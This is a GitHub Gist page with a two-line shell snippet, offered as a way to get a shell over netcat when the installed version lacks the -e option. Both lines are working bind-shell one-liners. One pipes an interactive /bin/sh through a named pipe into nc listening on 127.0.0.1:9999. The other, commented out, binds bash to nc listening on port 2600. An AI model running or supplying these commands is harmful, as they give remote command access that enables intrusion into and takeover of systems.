Last active
September 14, 2016 17:09
-
-
Save dwallraff/f52536d694cd93f7715dbc8043f37bd5 to your computer and use it in GitHub Desktop.
Use when you don't have netcat -e (netcat-openbsd does not have the -e option; is used in most linux variants)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f | |
# mkfifo foo | |
# nc -lk 2600 0<foo | /bin/bash 1>foo |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment